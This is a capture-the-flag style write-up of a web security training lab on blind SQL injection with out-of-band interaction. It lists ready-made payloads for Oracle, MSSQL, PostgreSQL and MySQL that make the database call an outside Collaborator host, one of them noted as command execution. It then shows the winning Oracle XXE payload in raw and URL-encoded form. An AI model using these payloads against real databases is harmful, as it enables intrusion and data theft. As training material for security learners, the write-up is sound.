Lab 13: Blind SQL injection with out-of-band interaction:
+Note+:
- This lab requires burp collaborator to complete which is only available with burpsuite professional, you can easily sign up for a burpsuite professional trial but for some reason they do not accept gmail accounts so use something else.
- This also just sometimes doesn’t work so you need to retry the same payload.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
Initial Reconnaissance/Discovery:
We are given access to the standard shop again.
Straight To Exploitation:
Due to the nature of this type of SQLi, we cannot just check for SQLi, like we normally would by inserting single quotes or trying to elicit a different response as a means to infer YES or NO. Instead we need to start by just throwing payloads at it.
If we look at the SQLi cheat sheet
there are provided payloads, however I have edited them below so they are ready for the lab straight away and can be injected straight after the known vulnerable TrackingId cookie. I’ve also added additional clarifying information as it’s all fair and well to just throw payloads at things but if we do not know what they are doing then what is the point?
Oracle OAST Payloads:
'|| (SELECT extractvalue(xmltype('<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://[BURP-COLLABORATOR-URL]"> %remote;]>'), '/l') FROM dual)--
+Notes+: This takes advantage of an XXE vulnerability to trigger the DNS lookup; it requires that Oracle XML parsing enabled and the DB process to be able to reach out over HTTP; may be blocked by network ACLs. This has been patched but as the cheatsheet points out there are lots of un-patched Oracle instances out there.
' || (SELECT UTL_INADDR.get_host_address('[BURP-COLLABORATOR_URL]') FROM dual)--
+Notes+:
- UTL_INADDR package grants network access and is controlled by DBMS_NETWORK_ACL_ADMIN (which is the package used to interface with the NACL (Network access control list)).
- The
get_host_addressfunctioned is used to retrieve the IP address (make the DNS query of our specified host)
Microsoft SQL OAST Server Payloads:
'; EXEC master..xp_dirtree '\\\\[BURP-COLLABORATOR-URL]';--
--Or if embedding in a string concatenation context:
' + CHAR(13) + CHAR(10) + 'EXEC master..xp_dirtree '\\\\[BURP-COLLABORATOR-URL]'--
+Notes+:
xp_dirtreeis an extended stored procedure in Microsoft SQL Server. It’s used to list the directory structure (files and subdirectories) of a specified path on the server. This means we can specify a URL we control and have it call out that.
PosgreSQL OAST Payloads:
'; COPY (SELECT '') TO PROGRAM 'nslookup [BURP-COLLABORATOR-URL]';--
+Notes+:
COPY TO
copies the contents of a table to a file, however if we use the PROGRAM parameter the input we provide is written to the standard input of the command which is executed by the system shell, which is +RCE+. As nslookup is available on most hosts we can use that as easy way to reach out to our endpoint.
MySQL OAST Payloads:
--Write string into a remote share (Windows server account must have permission):
'; SELECT LOAD_FILE('\\\\[BURP-COLLABORATOR-URL]\\file.txt');--
'; SELECT 'x' INTO OUTFILE '\\\\[BURP-COLLABORATOR-URL]\\exfil.txt';--
+Notes+:
- The LOAD_FILE() function reads a file and returns the content as a string, in this case we specify our malicious server as the location of the file.
- SELECT … INTO OUTFILE
works similar into
LOAD_FILE()but instead of reading the file we specify it instead writes the selected rows of a table to a file. - Many MySQL installations prevent
INTO OUTFILEwriting to arbitrary locations, andLOAD_FILErequiresFILEprivilege andsecure_file_privsettings may restrict paths. - Remember to escape backslashes appropriately because….windows…
Solving Lab:
Normally I would suggest putting all of our payloads into intruder and doing it that way, however with this it’s easier to try the payloads manually.
First open collaborator and get the unique URL id.
We can now start testing paylods.
The payload that gives me an initial different response is the first Oracle one. As we can see there is a 500 response when not the URL is not encoded.
--URL Unencoded
'|| (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://zdg30pyy37krlmoggnt866tyzp5gtdh2.oastify.com/"> %remote;]>'),'/l') FROM dual)--
When we encode the payload we get a standard 200 response.
--URL Encoded
'||+(SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//zdg30pyy37krlmoggnt866tyzp5gtdh2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--
We also get a hit in burp collaborator.
This in turn solves the lab.
